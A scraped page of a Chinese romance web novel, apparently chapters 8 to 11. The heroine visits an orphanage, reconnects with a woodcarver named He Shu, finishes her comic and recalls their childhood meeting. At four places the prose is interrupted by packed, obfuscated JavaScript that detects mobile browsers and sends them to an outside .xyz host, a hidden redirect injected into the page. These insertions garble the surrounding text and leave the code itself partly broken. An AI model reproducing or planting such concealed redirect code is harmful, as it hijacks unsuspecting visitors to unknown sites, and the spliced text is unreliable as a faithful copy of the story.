l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496319|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直如数家珍，江柚清跟他聊的很投机。 临到儿童福利院门口，司机向外瞅了一眼，在副驾驶上拿起一个糖果盒，从窗户口递出去。 “本来给我家小孩买的，不过她这两天去她姑姑家了，你拿去给里面的小朋友吃吧。” 糖果盒中间大写的KULE，这个牌子不便宜。江柚清走上前接过，礼貌道谢。 新芽儿童福利院坐落在市区与郊区的分界线，位置虽偏僻，但交通不受限。院长是福利院建成就在的老人，年轻时是自成风骨的国画艺术家，一画千金。后来经历丧子之痛，便将余生都奉献给了院里的小孩。 儿时江柚清曾在这里待过一段时间，后来她能继续坚持画画是因为院长。这些年虽没回长坪，但为了减轻院里负担，也陆陆续续每年送了不少东西。 昨天院长给她打电话，问她有没有空明天来一趟福利院，院里很多小朋友都想见见一直送东西的大姐姐。 江柚清本意不想露面，单纯做一个背后出钱出力的人就行，可耐不住院长使出了杀手锏要亲自来请，她诚惶诚恐还是过来了。 院里小朋友正在教室乖乖做手工，她从窗户往里探了一眼，里面老师看到她，笑着朝她指了指后面。 江柚清回头。 一个三十多岁，穿着简约大方，一头乌黑的大波浪卷发被印着粉色玫瑰花朵发带扎着的女人，眉梢泛喜，快步走到她面前。 “疏桐姐？你不是前几个月跟我说要出国吗？”江柚清有些吃惊眼前的女人这个时间点竟然出现在了这。 “别提了，签证出了点问题，一时半会搞不好，在家闲着也是闲着，还不如来这里跟小朋友一起玩。” 柳疏桐压了压手里被翻得起了毛边的故事书，“院长在后面，你过去吧，她等你很久了，回头找个时间我们再聚。” 江柚清把手里的糖果盒递给她，简单说了下这是送她来的司机叔叔给的，柳疏桐接过便催她赶紧过去。 福利院后面是一大片空地，一半种了各种花，另一半种了不少瓜果蔬菜。 江柚清穿过中间小路，来到一处小房子前。 门前花架上摆着一幅还未完成的画，简单毛笔勾勒，未上色，却足以让人从绚烂的向日葵中获得向阳动力。 画得很好，但比起院长还差点火候。 “这幅画，怎么样？” 门咯吱一声，年迈的声音从身后传来，头发花白的老人从屋里出来。 “柚清，你接着画，让我看看这么多年进步了没有。” 江柚清后退半步，错开画布，靠一边站。以她现在的绘画状态，极大可能会是狗尾续貂。 “柚清，是你不愿意画，还是现在不能画了。” 江柚清有些手足无措，像是个被戳破心事的孩子。 院长看她这样，轻叹口气，转头冲花圃里喊了声，“别忙了，出来吧。” 花圃里，一个清瘦的青年拿着铲子背对着江柚清站直了身，江柚清吓了一跳，刚才完全没注意那里还蹲了一个人。 青年慢慢转身，江柚清微微睁大双眼，唇边不由自主地泄出了两个字。 “何述？” 8. 和解 院长走到圆桌边，招呼江柚清坐下，“柚清，你认识小述？” 江柚清跟着院长落座，拎起桌上茶壶倒了三杯茶，把其中一杯递给院长，“嗯，他是我朋友。” “那还真巧，省得我帮你俩介绍了。”院长抿了口茶，抬眼看向站在水池旁的何述，“小述，先过来喝杯茶再画吧。” “没事院长，就差一点收尾了。” 何述洗了把手，回到画架前，拿起笔补充向日葵的细节和颜色。 他什么时候跟这里也有了联系，而且还和院长关系这么好？江柚清盯着何述的背影，眼中透着疑惑。 院长同江柚清的视线一起聚焦在何述身上，转瞬后又落眼手中的茶杯，嘴角勾起一抹极淡的弧度。她手指弯曲轻叩了两下桌面，唤江柚清。 “怎么了？院长。”江柚清回神。 “你闲着也没事，去帮帮小述，画完我们带着去见其他的小朋友。” “院长，我……”江柚清有些犹豫，不是很想去。 “不想画可以不画，简单帮小述打个下手，尽早完成，小朋友可都等着呢。” “好。” 江柚清知道自己再推脱就没有礼貌了，指腹沿着杯沿转了两圈，一饮而尽杯里的茶，起身走到何述身边。 “有需要我帮忙的吗？”江柚清问他。 何述显然没想到江柚清会过来，有点吃惊。他垂下眉眼，低声询问：“那你可以帮我看看这里画的行不行吗？” “OK。” 江柚清探身过去，仔细去看画布上的画。 听秦唯安提起过，何述本科学的是计算机，完全跟绘画和木雕没有一点关系。前段时间，她已经见识到何述惊人的雕刻能力，现如今这幅画虽不如院长画法老练，但已经比很多绘画专业出身的人都要强上不少。 “这幅画，画的很好，没什么问题，再上上色就行了。”江柚清偏头，忘了何述其实离她极近，鼻尖与何述微微起伏的胸口不过一拳距离，脑海霎时想起变狗那段时间，这胸口她趴过，踩过，心里蓦然升起一团火，灼她心肺。 理性小人：江柚清，你在想什么？何述是你朋友，现在是秦唯安表弟，四舍五入也是你弟，认清对象，不要晕头！ 感性小人：没有必要这么大惊小怪，不论男人还是女人，一个长得好看的人还离你那么近，心跳加速，纯属正常现象，又没啥。 大脑交战一瞬，火苗迅速扑灭。她后撤半步，自然起身，“需要我帮你吗？” 何述看着隔他两步距离的人，眸中极快滑过一丝落寞。下一秒再看向江柚清时，语气温柔地回了声，“好。” 万里无云，太阳日头渐盛，江柚清额间冒出一层薄汗，她抬手拂去汗珠，专注上色。何述察觉，不经意间往江柚清身前挪了半寸，掩去大半阳光。 一直坐在他俩身后的院长看到这一幕，眼底露出一丝看透的笑意。 六七年前，何述作为大学生志愿者协会成员来这里做志愿活动，不爱说话，但干活利索。本来以为大家的缘分就止步于那次活动，没想到何述断断续续一连来了好几年。院里老师都挺喜欢这小孩，甚至还替他操心起了结婚大事，各个都想当媒婆，无一例外全部被委婉拒绝。 原来不是不想结婚，而是早就有喜欢的人。 院长眼角皱纹舒展，随手拿起桌上的铅笔和素描纸，三五下简单勾勒将画面定格。 * 福利院的娱乐活动很多，要是外面天气不适宜外出，小朋友上完常识课后会被老师领到室内休息乐园里自由活动。 被送到福利院的孩子大多内心比较敏感自卑，院长一方面为了让来到这儿的孩子有情感倾诉口，另一方面也为了培养他们的兴趣爱好，会等他们适应院里生活后，按照孩子的意愿教他们喜欢的东西。 可能是受院长影响，院里的小孩喜欢画画的有很多。不一会，那幅向日葵前就来了一批又一批的小孩子，看完都嚷着要跟院长学画画。 院长宠溺地摸摸他们的小脑瓜，指了指江柚清说道：“你们不是一直都想见那位神秘的大姐姐吗？她就是。” “哇，姐姐好漂亮。” “对，就跟昨天晚上小木老师跟我讲的白雪公主一样漂亮！” 接收到这些小孩子最直白的称赞，江柚清觉得他们实在太过可爱，连说谢谢。 简单介绍过，院长朝江柚清示意让她到处看看，自己带着小孩们去绘画区画画，江柚清点点头。 院长走了，江柚清心里藏不住话，把疑惑问了出来，“何述，你怎么会来这里？还跟院长关系这么好？” 没人应。 她回头，一直在她身后的何述此刻消失了。 ？ “人呢？”江柚清扫了一圈，最终在一个角落里找到了他。 五六个小孩围在何述跟前，静静地看他雕东西。不大一会，一个小巧的兔子就跟变魔术一样出现在他手上，惹得惊呼一片。 还是等结束再问他吧，江柚清不想打扰此刻宁静。 舒缓的钢琴乐响起，她沿着绘画墙，一幅一幅地欣赏小孩子们的画作。 稚嫩，却拥有天马行空的想象力。最简单的线条和最浓烈的色彩碰撞，交汇出一幅幅独一无二且极具童真的作品。 不知不觉，一曲结束，江柚清走到尽头，正准备往回走，一个穿着碎花裙的八九岁小女孩吸引住了她。 女孩坐在地上弓着腰，几乎贴在地面。她胳膊下压着一张白纸，手里的笔快速滑动着，嘴里念念有词。 其他小朋友都在跟别人一起玩，只有这一个小女孩落单。江柚清有些担心女孩是不是因为才来福利院，所以融不进去，刚想走近女孩身边问问情况，胳膊猛地被拉住。 她脚步不稳，反手扶着握她胳膊的手踉跄两步回头。 “姐？” 柳疏桐看了一眼不远处的女孩，向江柚清解释，“那个小女孩半年前来到这里，从来到现在只跟院长说过几句话，其他人和她搭话完全不理。一旦有陌生人跟她说话，她就会很防备。刚开始那些小孩还愿意跟她玩，可她这样一直不理人，也就没人愿意和她玩了。院长最初以为她是因为有心理问题，找医生看过后都说没毛病。” 极少有人会无缘无故不开口说话，凡事皆有原因。江柚清想试试能不能打动女孩，让她对自己吐露心声。 “姐，我想试试。” “好。”柳疏桐松开手，“不理你也不用放在心上，如果出现其他情况，你喊我。” “知道啦。” 江柚清放轻脚步，慢慢走到女孩身边蹲下。 没有遮挡，江柚清看清了女孩那张纸上究竟画了什么，竟然是仿画她十几年留在这里的《提灯女孩》。 这幅画整体色调偏暗，乍一看给人一种冰冷感。一个手提灯笼的小孩赤脚从远处而来，每走一步地上便留下一处月亮的银屑。小孩是画面中唯一的亮色，代表她于绝望处寻求希望。 《提灯女孩》对江柚清来说是一个向死而生的节点，蕴含她过去的痛苦和希望。江柚清心里涌出复杂情绪，她没有说话，弯腿坐在女孩对面，扯出一张画纸平铺地上。 不是心理医生没有看出，而是女孩把自己伪装的太好，骗过了他们的眼。 有些话，嘴无法说出口，画会替她表达。 笔在纸上沙沙作响，江柚清腕骨晃动，快速勾勒，纸上很快映出一个小女孩坐在大片的向日葵中，露出甜甜的笑。 最后一笔落成，江柚清直起身，揉了揉手腕，感觉衣服被人轻轻拽住，女孩不知什么时候坐到她身边，安静地注视着她。 “姐姐，那幅《提灯女孩》也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496320|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你画的是吗？”女孩声音有些怯。 “嗯。”江柚清语速放得很慢，“那时候姐姐遭遇了一些事，很痛苦也很绝望，但是很幸运遇到了院长，也找到了继续活下去的理由，《提灯女孩》就是那时候画出来的。” “我们每个人都会在不同的年纪遇到各种各样的挫折和磨难，现在以为过不去的坎，等你再过几年回头看时，就会觉得也没什么。一切不好的东西都会过去，但前提是我们不能放弃希望。” 女孩双眼通红，眼眶蓄满眼泪，她死死咬住下唇，哽咽道：“姐姐，一切真的会变好吗？” “会好的，一切都会好的。”江柚清双手抱住女孩，一遍遍地重复。 小声的呜咽渐渐变成抽泣声，怀里女孩的肩膀剧烈颤动。过了很久，声音才慢慢平息下来。女孩从江柚清怀里抬起头，像是卸下千斤重负。她用手背擦去眼泪，向江柚清说起过往。 历史会在不同人身上重演，江柚清没想到的是女孩竟然与她有着极为相似的经历，这一刻她知道为什么院长一定要她前来。 没有人的安慰会比亲历者的安慰更有效果，也没有人会比重新让亲历者再听一遍相似者遭遇更加残忍。 当对过往埋存的记忆抗拒、抵触、回避都无用时，那么只剩一个选项，直面它，剖开它，碾碎它。 江柚清画不好《泗巷》后半段是因为她从内心深处根本不相信女主与母亲宣战，执拗选择自己梦想后，一定会得到HE的结局。 以前不理解，父亲在世时明明母亲那么爱她，可为什么父亲去世后，母亲突然性情大变，对她极其严苛，想掌控她的一切。后来千里迢迢去奶奶那里后，江柚清才得知一切真相，原来她成了父亲骗婚错误下的牺牲品。 亲身经历告诉她，母亲在情绪崩溃下的死亡成为一把终年悬在她脖颈的枷锁，江柚清砸不断，拿不掉。哪怕她看起来多么正常，可午夜梦回时的窒息感总会将她拖回那抹刺眼的红色。 和女孩的聊天，江柚清在安慰女孩的同时，仿佛也在开解自己。她不要再深陷过去的泥沼，任凭枷锁扯断她的喉咙。面对未知，希望或许才是唯一能支撑人走下去的武器。 夜幕降临，福利院门口聚了一群人。今天活动圆满完成，大家笑着挥手对彼此说再见。 临别前，江柚清快步走到院长面前，紧紧搂住她。 院长慈爱地看她，年老的手掌轻抚江柚清的头顶，“孩子，所有的一切都不是你的错，你永远不必为大人的过错买单。好好生活，勇敢去追你的梦想。只要无愧自己，那就不要在乎其他人的想法。” “嗯。”江柚清哑声说：“谢谢您，我记得了。” “小述。”院长朝何述招手，何述走上前，“你跟柚清顺路，平安送她回家吧。” * 错开高峰期，出租车开得很快，到小区门口时才刚过八点。 江柚清打开出租车后门准备下车，就瞧见何述也想下车。她拉住何述的手腕阻止他下车的动作，“你不用下，没几步路了，我自己过去。” 何述微蹙眉，有些不愿。 江柚清见他这样，笑了，依旧没让他送，挥手说下次再见。 进了小区，江柚清忽然想起还有个问题没有问何述，她拿出手机给何述发了条微信。 【爱吃甜柚】：何述，你怎么会去福利院？还跟院长关系这么好？ 出租车上。 何述凝视着江柚清刚刚抓住的腕骨，白皙的皮肤已经被他摩挲成一层薄红。 信息两分钟前发送过来，何述还没回。 大脑不由自主提取出他第一次在福利院的绘画墙上见到《提灯女孩》的场景，画上没有署名，但他依旧一眼认出这是江柚清的画。 于是，他终于找到了记忆里那空缺的、独属于江柚清的三个月时间。 9. 牵绊 江柚清到家洗了个澡，简单收拾一下去了卧室旁边的房间。 这个房间比何述的工作屋还要小，一张桌子，一面书架几乎塞满了所有空间。 这次回来江柚清并没有带她惯用的绘画设备，当时只想如果能重画《泗巷》的话，她就回莲城，显然计划赶不上变化。 房间里的绘画设备是她高中时买的，万幸的是江柚清检查后发现几乎都能用。以前她总热衷最新的画画设备，后来画多了也就明白了再好的设备只能起到锦上添花的作用，而不能替你去画。 眼前这些设备虽然有些老旧过时，但基础性能已经可以满足江柚清的绘画需求。她尝试画了一个小兔子，手和笔适应良好。 打开抽屉，江柚清发现里面的笔记本还在。她拿出来翻了几页，里面是她前几年画的漫画人设和故事情节。如今她备受好评的几部作品，最初的创意来源几乎都来自她的高中时代。 本子翻到空白页，江柚清定定心，重新认真梳理《泗巷》的故事脉络。 一个小时后，看着五页纸上满满当当，改了又改的内容，江柚清终于对《泗巷》的后续剧情走向感到满意，趁思路清晰，决定现在就开画。 桌上Ipad屏幕亮了一下，各种软件的信息弹出，其中夹杂一条微信消息。 江柚清猛地想到她给何述发过消息，可手机一直没有声音提醒。她连忙从睡衣口袋掏出手机，才发觉不知道什么时候手机被她设置成了静音。 晕！ 她划开微信，何述在将近两个小时前发来一条信息。 【River】：大一跟着志愿社团参加过福利院的活动，这几年偶尔有空也会去帮帮忙。次数多了，跟院长也熟了。 原来是这样，江柚清啪啪啪敲击屏幕。 【爱吃甜柚】：抱歉，手机静音了，我才看到消息。 才发过去，对方秒回。 【River】：没事的。 【爱吃甜柚】：对了，狗狗今天没来，它一直在家吗？ 【River】：没有，今天麻烦余亮帮我看了一下。 【River】：余亮是我的朋友，他是个好人。 看到好人两个大字时，江柚清笑出了声。 怕江柚清不信，对方很快又发了一张小狗快乐吃狗粮的照片。 【爱吃甜柚】：可爱狗狗.jpg 画画讲究手感。趁着现在状态好，江柚清想赶紧画，于是匆匆结束话题。 【爱吃甜柚】：我有点事先撤了，下次有机会去你家看小狗。 【River】：好。 【爱吃甜柚】：狗狗再见.jpg 她把手机放到一边，揉揉脸，提笔重构分镜。 钟表的分针转了一圈又一圈，整个屋子只有笔触碰数位板的沙沙声。 坐了太长时间，江柚清捏了两下僵硬的后颈，起身去外面倒了杯水。 回来时，她坐在椅子上刷了会手机，莫名想看看何述参加的那个比赛现在是什么情况。 点进星音，软件显示需要重新登录账号。江柚清本来登录的账号是漫画平台让她申请的，主要用来宣传漫画，粉丝比较多，不太适合直接进入别人直播间，于是她换了高中时期申请的小号上去。小号她从来没跟别人说过，唯一发的动态还是离开长坪那年的大雨照片。 还没等江柚清搜索，比赛相关的视频就推送过来。她随手点进去一个视频评论区的链接跳转到了比赛官方页面。 比赛页面的实时直播板块有个24h人气排行和月度人气排行，主要方便参赛者查看排名。除了特意搜索比赛者账号，第一次进入直播板块的用户会被随机分到任意比赛直播间。 江柚清不知道何述的账号，也不知道何述现在有没有开直播。抱着试试看的想法，她进了直播板块。 一连刷了八九个直播间都没见何述，江柚清也不执着，打算关手机继续画画。正准备退出软件，直播间恰巧自动上滑，一双骨节分明的手出现在屏幕上。 直播的人只有手出镜，左手固定木料，右手指关节灵活带动刀刃游走。腕骨扭转变换中，一颗红痣若隐若现。 这双极漂亮的手和腕间红痣，江柚清百分百确定这个直播间的主播是何述。 不过，何述的直播间人少的可怜，她没来之前0，她来之后1. 当初他答应林子觉直播的时候，江柚清就知道会出现这种情况。前面刷的直播间，主播也雕刻，不过重心全放在了聊天和整活，自然留下的人多些。何述的直播间安安静静，如果不是手控，用户很难长时间留下。 总而言之，何述当个陪伴主播还不错，当人气PK主播不太行，林凤杰的加入算是抹去了何述的人气竞争压力。 江柚清不确定何述还会直播多久，有一个人看总比没人看强。她点了关注，将手机放在一旁手机架上的凹槽，边充当何述的观众，边接着画。 或许是放下过去重担，江柚清觉得画画特别顺，整个人仿佛进入了心流状态，越画越兴奋，效率出奇高。等她修改完关键一话时，手表时间晃悠悠来到了五点。 江柚清转头去拿手机，结果惊了一跳，何述竟然还在直播。 算是感谢何述充当她的陪伴系统，江柚清点进礼物打赏，送了两个八音盒给他，并顺道留了言。 【草帽兔】：主播辛苦了，早点下播睡觉吧。 反正是陌生网友，江柚清不怕掉马。没指望何述会回复，她知道何述全身心投入雕刻就会进入忘我境地。 刚退出，软件的消息板块就冒出一个红色数字。江柚清好奇点进去，看到何述给她发来一个消息。 【RIVER】：谢谢，不用破费打赏，我会找找怎么退钱，把钱退给你。 江柚清有些头疼，别的主播都是上赶着问粉丝要钱，何述这个笨蛋直接给人退钱。 【草帽兔】：不要退钱，我是成年人，有能力支持喜欢的人。你很好，请继续加油，一定会有更多人看见你的。 停了几分钟后，对方才回复。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496321|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【RIVER】：好，但你是我第一个粉丝，等比赛结束，我想给你雕一件作品，不值什么钱，还请你不要拒绝。 江柚清不好拂了何述的好意，大不了到时候填她莲城的地址。 【草帽兔】：好，麻烦了，我会一直支持你的，加油！ 回到卧室，江柚清拉紧帘子，屋里漆黑一片，她闭眼躺在床上，意识有点昏沉。 或许一整天都跟何述相处，江柚清难得回忆起了小时候，现在她还记得跟何述相遇的那天是长坪一个再普通不过的阴雨天。 * 九岁生日，江柚清打扮的漂漂亮亮去上学。上学前爸爸就告诉她，等她放学就会跟妈妈一起接她吃肯德基。 一整天江柚清都超级高兴，熬呀熬，终于熬到了最后一节课。 距离放学还有一分钟的时候，她兴致冲冲拎起书包就要跑，结果却被老师一把拽住，跟她说家长工作有事，晚会才能接她的消息。 放学后，同学走的很快，一转眼整个教室就剩下她。 外面的天很阴，风吹着教室玻璃，隆隆作响。 虽然江柚清胆子大，但上个星期在班级流传的鬼故事还是让她有点害怕。 班里不可久留，江柚清背起书包，快速下楼，准备去门口等人。 风灌进江柚清的衣服里，一股推力从后而来。江柚清后背发凉，越走越快。 路过学校的闲置房，她突然听到里面有金属架倒地的声音，混着脏话和棍棒打在人身上的闷哼声。脚步陡然停住，透过玻璃往里看，只见一个人蜷缩在地上被两三个小男孩围着踢踹打骂。 打人的男孩是学校六年级出了名的小混混，经常仗着爸妈有点小钱就胡作非为，乱挑事。江柚清不仅知道他们，还因为他们上个星期欺负她班同学，被她狠狠教训一顿。当时这几个人立刻打包票说不再欺负同学，结果又来，真是死性不改。 江柚清把书包放到门口，转了转手腕和脚腕，敲门。 屋里瞬间安静。 几秒后，门开了。 开门的人见来人是江柚清，后退半步，眼神飘向另外两人身上，无声询问怎么办。 “怕什么怕，上次被她偷袭才没打过，这次谁输谁赢还不一定呢。”领头老大拿起棍子就往前冲，另外两个见状也纷纷上前帮忙。 第一次交手可能有点心里没底，对方实力不清楚。现在江柚清没有一点畏惧，他们几斤几两她很清楚。 妈妈告诉过她，不惹事也不能怕事。 凭借灵巧的走位和过硬的技术，不过几分钟，江柚清结束战斗，混混落荒而逃。 屋子背光，加上外面天暗，她看不清楚被打的人目前是什么状况，只能走进去瞧。 “你还好吗？”江柚清慢慢靠近对方，“需要我扶你起来吗？” 地上蜷缩的男孩动了动，像是极力忍受巨大的痛苦，他倒吸一口气，强撑着坐起来。 门外电闪雷鸣，借着大自然的光，江柚清在看清男孩的瞬间，怔在原地。 10. 离开 男孩脸色苍白，眼角红肿，漆黑的眸子直直地看向她，一言不发。 “你还好吗？我扶你起来。” 江柚清说完伸手要拉他，男孩看着女孩亮晶晶的眼睛，犹豫一下抬手过去。 他站起来，身上的白色短袖被那几个混混踢踏得脏乱。胸口发出阵痛，男孩捂着嘴猛咳几声。 江柚清见状，心急但又不知道该怎么办，“我妈妈快来了，我让她送你去医院看看。明天上学我一定告诉老师，不能这么放任他们欺负同学。” 门外阴云密布，大风卷着地上落叶带起一阵旋风。 “外面好像快下雨了，我们先去大门口。” 男孩蹙眉盯着外面的乌云，忍着疼把被翻得乱七八糟的书包重新整好，默默跟在女孩身后。 “你别离我这么远，靠近些，我们一起打伞。” 细细密密的雨从天而降，江柚清撑伞回头，见男孩一直跟在她身后不上前，她往前走了两步，直接抓住男孩的手腕扯着他进了雨伞里。 “快走，这天怕是要下大雨。”话刚落地，大雨如约而至。 江柚清把伞往男孩身边倾斜一点，两人肩并肩往前走。 学校门口空无一人，江柚清和男孩站在瓢泼的大雨中有些瑟瑟发抖。 豆大的雨水砸在地上反溅到江柚清的脚踝，她不自觉往男孩身边靠了靠。男孩默不作声把伞扶直，极小的幅度捏着女孩衣服往平地走。 父母没来，江柚清有些耐不住安静，开始没话找话，“对了，还没问你叫什么呢。” “何述。” “哇塞，很好听的名字。”江柚清一把抹掉打在她脸上的雨水，扬着笑，“我叫江柚清，下次他们要是再来找你，你就到三（2）班找我。” 何述身材瘦削，尺码不大的短袖里面空空荡荡，风一吹像是会被刮走。江柚清视线定格片刻，挪开眼，“他们那几个就是绣花枕头，个子还没我高，你别怕，我练过几招，对付他们绰绰有余。” “我……”他正想开口，一束灯光投射过来，堵住了接下去的话。 黑色小轿车停在路上，喇叭声响了两遍。 江柚清通过车牌号认出了是自家的车，拉着何述就往前走。拉了一下，没拉动，她满脸不解地看着何述。 “我没事，不用去医院，你快回去吧。”何述推她，让她赶紧走。 胳膊都出血了，江柚清不太相信他没事。可耐不住何述一直跟她打包票，推她走，江柚清无奈，只好把伞塞给他，“伞给你，你别忘我给你说的，有事找我！” 把书包脱掉顶在头上，江柚清准备就绪一股气冲入雨幕。等坐上车，她赶紧趴在后座往外看，何述越来越远，最终汇成一个点。 站在原地的何述一动不动，缓缓握紧了手里的伞。 * 江柚清醒来的时候已经是下午两点，她躺在床上醒困，脑子里却不时闪过梦中碎片。 很乱，很杂，时间跳度很大，唯一确定的只有主人公是她和何述。 在床上磨蹭了一会，江柚清趿拉拖鞋去浴室刷牙洗脸。 自从工作后，不规律的三餐让她消化系统出了问题，有时好几顿不吃也不会感到饥饿。哪怕现在错过早饭和午饭，江柚清依旧有饱腹欲。可不吃不行，秦唯安那丫头曾耳提面命跟她说了一遍又一遍，三餐要正常吃，不然以后胃会出很多问题。 想到这，江柚清从行李箱掏出一块面包，又拆开一瓶牛奶。三下五除二解决掉吃饭问题后，洗了手又进了画画的地方。 打开手机星音软件，再次点进何述直播间。人已经播了一会了，还是没多少人看。江柚清摆好手机，吭哧吭哧开画。 无法拿笔的时候是真的连笔都拿不了，一旦可以拿笔了就再也停不下来，漫画平台的老板都不止一次戏称她是画疯子。 连轴画了将近两周时间，《泗巷》需要修改的最关键地方改的差不多了。三天前，她重传第42话和43话，底下评论区的言论明显趋好。 剩下还有一部分收尾，江柚清估计还需要近三个星期的工作强度才能完成。工作量很大，但她从绘画中获得极大满足感，不觉得累。 狭窄的手机屏幕里何述依旧安安静静地直播，手中的作品整体轮廓初现，但依旧看不出他具体的设计思路。 这几天，江柚清发现何述的直播时间长度简直惊人。往往都是她熬不住趴在桌子上睡了过去，再醒的时候何述还在直播。要不是手里雕刻的东西变了，江柚清真觉得何述是个假人。 互联网上每个人都裹着一层皮，性格在现实和网络中两级反转。 累的时候，江柚清会在评论区里戳他，脑子抽风式地问他一些莫名其妙的问题或者提出某些奇怪的要求。 比如你是不是被小偷偷走了睡眠，为什么都不会困？又比如有没有人说过你的手很好看，你能不能让我仔细看看…… 诸如此类，不胜枚举。 何述对她的幼稚问题和要求没有不耐烦，反而一一解答和照做。因为很多次提出看手的要求，他似乎也知道了她是手控，有次深夜直接用手机怼手拍了好几张照片发了过来。 这些照片简直是手控党的福利，江柚清一边欣赏，一边跟他发消息，调侃自己也是享受到了榜一的快乐。何述没有多说什么，只是发了一张从她这“偷”的害羞表情包。 网络上的何述话也不多，却很好逗，一逗就害羞，跟现实中沉默但有点清冷的何述不太一样，江柚清偶尔大脑放空的时候很喜欢逗他。 日日夜夜来回交替，时间在画画和逗何述中快速溜走。 等江柚清终于把最后一话上传平台，日子也赶到了八月中旬。最后一版完成了，《泗巷》这部作品在江柚清这里已经算是圆满完成了，不论看客喜不喜欢她都不会再动。 键盘敲击完结后记最后一个字，江柚清深呼一口气，关上显示屏，窝在电脑椅里用平板给秦唯安发消息。 【爱吃甜柚】：安安，你什么时候回莲城，我这边快忙完，估计下周就可以回去。 原本回长坪一方面是为了送狗，另一方面是想换个环境看有没有机缘能重新拾起笔画画。 现在狗送了，《泗巷》重画后也彻底宣告完结了，她在长坪已经没有什么事情可做，相反莲城那边还有一堆事情。《逢夏》即将再版，等九月中旬出版商把签名纸送来，她还有1w份亲签等着去签。 几个星期前变狗的那段遭遇好像是一场梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496322|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻童话，不提的话，江柚清都快忘了还有这段奇遇。 直播间还在直播，雕刻木雕不是一蹴而就的事情，需要雕刻师极其有耐心。何述手里的木雕隐约看出成品的模样，禅月菩提的雕刻进度进行大半，直播间很多人都在夸夸。 这段时间，平台的推流加上何述自身过硬的实力，很多自来水慕名而来。虽然比不过靠着长相和幽默性格稳居人气第一的林凤杰，却也是实打实收获了一些粉丝。 相伴这么长时间，江柚清有些不舍。 何述是因为比赛才决定直播，按他的性格，比赛结束后直不直播还不一定。况且她回莲城投入工作后，很少有机会再回长坪，那么能再见到何述的次数其实屈指可数。 离别与相逢是人生常态，活着总会有机会再聚，走之前江柚清还有一件重要的事情做。 平板震动一下，秦唯安回了消息。 【唯念你安】：啊啊啊啊啊，你终于要回来啦！！！但是我暂时回不去[大哭.jpg]，这次出任务还要大半个月才结束。爆哭.jpg 【爱吃甜柚】：没事，到时候等你回来。有一件事我没跟你说，你告诉阿姨，何述的前继父有时候会找何述麻烦，我怕我走了，他又来欺负何述。 【唯念你安】：我去，还有这事！我马上告诉我妈让她想想办法。 【爱吃甜柚】：好。 结束与秦唯安的聊天，江柚清翻出何述微信，发了条信息给他。 【爱吃甜柚】：这周末有空吗？下周我就要回莲城了，走之前请你吃个饭。 消息发出一瞬，直播间里何述的动作僵住，过了几秒后又重新恢复正常，江柚清没有注意到。 不知道何述什么时候下播，江柚清退出直播间，关掉手机，开门去客厅。 起风了，猎猎风声穿过阳台未关的门直钻江柚清耳膜。阳台的门多年未修，拖拽费力。她用尽全身力气，猛地一合，才堪堪关住。 隔着磨砂推拉门往外看，大风肆虐，阴云密布，预示即将下雨。 小时候长坪夏季天气也阴晴不定，可从来没像现在这样。从回来到现在，下大雨的时间也太频繁了一些，要不是长坪的排水系统早就完善了，她真怕会水漫腰身。 有利有弊，不得不说，下雨天与睡觉是绝配。想着很多天没睡过好觉，江柚清散漫地走到卧室，侧躺在床上。 风声，雨声来回交织，江柚清枕着风雨混合的轻音乐缓慢进入了梦乡。 熟悉的柚子味再次传来，她好像又听到何述在喊她的名字。 * “柚子，柚子。” 迷糊中有人在唤她，江柚清睁开疲惫的眼，眼前的景象让她愣在原地，脑子里只有两个念头。 她怎么又变成小狗了，还有何述怎么瘦得这么厉害。 身形消瘦的何述光着脚，活生生半跪在江柚清面前。双眼充斥着红血丝，见她睁眼，一瞬欣喜涌上眉眼，像是看到失而复得的珍宝。 江柚清被他紧紧搂在怀里，动弹不得。何述胸腔肋骨硌着她的后背，急剧心脏跳动声震得她有些慌。 须臾，江柚清后脑勺传来温热呼吸声，紧接着沙哑声音响起。 “别走，好不好。” 11. 何述牌魔镜 江柚清感觉脑袋里一团浆糊，很混沌。狗是他的，怎么可能会离开。这句话不像是对狗说的，反而是像对她说的。 贴着江柚清脊背的身体微微颤抖，嘴里不断重复着别走。江柚清转头想看何述，视线一扭注意到他左手的食指指侧有一条将近3厘米的伤口。 伤口不浅，也没有处理，正往外渗血。江柚清一下子从杂乱思绪中抽身，这怎么搞的，睡前看直播的时候还没有，不处理会不会得破伤风？ 江柚清顾不得那句话对谁说的了，焦急地冲他喊。 